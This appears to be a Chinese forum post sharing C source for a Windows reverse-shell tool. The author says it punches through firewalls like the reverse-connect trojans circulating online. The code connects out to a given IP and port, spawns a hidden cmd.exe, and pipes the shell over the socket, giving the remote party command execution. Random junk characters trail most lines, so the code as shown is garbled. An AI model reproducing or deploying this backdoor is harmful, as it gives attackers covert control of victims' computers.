这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rN'8,CV
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/* ============================== =g |5VXW5
Rebound port in Windows NT %wco)2
By wind,2006/7 1L%$\0B4hm
===============================*/ -`D<OSt7
#include pP%9MSCi
#include D*'sO B(
5DJ!:QY!
#pragma comment(lib,"wsock32.lib") qq"0X! w
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void OutputShell(); f^lhdZ\
SOCKET sClient; vCUbbQz
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; F{Oaxn
O7m-_#/\
void main(int argc,char **argv) 0,B"p
{ /4;Sxx-
WSADATA stWsaData; /vpwpVHIpG
int nRet; X|C=Q
SOCKADDR_IN stSaiClient,stSaiServer; +&G]\WX<
'n}]
if(argc != 3) 55/)2B2J
{ _k#GjAPM
printf("Useage:\n\rRebound DestIP DestPort\n"); e/x6{~ju^N
return; na@Go@q
} n<1*cL:8B
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^fE8|/]nG9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yb,$UT"]
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stSaiClient.sin_family = AF_INET; GI>(S
stSaiClient.sin_port = htons(0); R ^ZOcONd-
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'K\H$<CJ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5s@xpWVot
{ KwgFh#e
printf("Bind Socket Failed!\n"); D=K{(0{"/,
return; E{}J-_oS45
} d[Zx [=h
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stSaiServer.sin_family = AF_INET; y9k'jEZ"oh
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NKTy!zWh
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ibx\k
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )l.AsfW%
{ FL4BdJ\
printf("Connect Error!"); ^=8/I w
return; vy`
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} ev4_}!
OutputShell(); Nw(hN+_u
} j&
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void OutputShell() ;-_ZWk]
{ nM *}VI
char szBuff[1024]; 'Ydr_Ses
SECURITY_ATTRIBUTES stSecurityAttributes; Pz\ByD
OSVERSIONINFO stOsversionInfo; ,v`03?8l(
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aX*9T8H/
STARTUPINFO stStartupInfo; !yr4B"kz
char *szShell; C6Cr+TScH
PROCESS_INFORMATION stProcessInformation; O*Y ? :
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unsigned long lBytesRead; R0mkEM
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #f%fY%5q
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); sbhzER
stSecurityAttributes.lpSecurityDescriptor = 0; IZiS3
stSecurityAttributes.bInheritHandle = TRUE; j"fx|6l)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ul6|LTY
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /y|ZAN
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "K$c 9Z8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o`!#io
stStartupInfo.wShowWindow = SW_HIDE; ZI1*Cb
stStartupInfo.hStdInput = hReadPipe; fM|s,'Q1x
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WRwx[[e6z
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GetVersionEx(&stOsversionInfo); *SIYZE'
4_sJ0 =z-
switch(stOsversionInfo.dwPlatformId) t;/uRN*.
{ 4]$OO'
case 1: iH@u3[w
szShell = "command.com"; VH<d[Mj
break; uK`gveY
default: `#wEa'v6
szShell = "cmd.exe"; <SQR";
break; (5,x5l]-N
} %{pjC7j#
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); = :zPT;K
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send(sClient,szMsg,77,0); zi_$roq=)
while(1) Pk;yn;
{ B|yz~wuS
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BfCnyL%
if(lBytesRead) Ge=^q.
{ @"A
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >~]|o
send(sClient,szBuff,lBytesRead,0); "
DLIx}
} H&%oHyK
else 54JZOtC3~
{ 7SH3k=x
lBytesRead=recv(sClient,szBuff,1024,0); 3e47UquZ
if(lBytesRead<=0) break; 5Phsh
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %&VI-7+K
} TBQ68o
} lY(_e#
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return; KK1?!7
}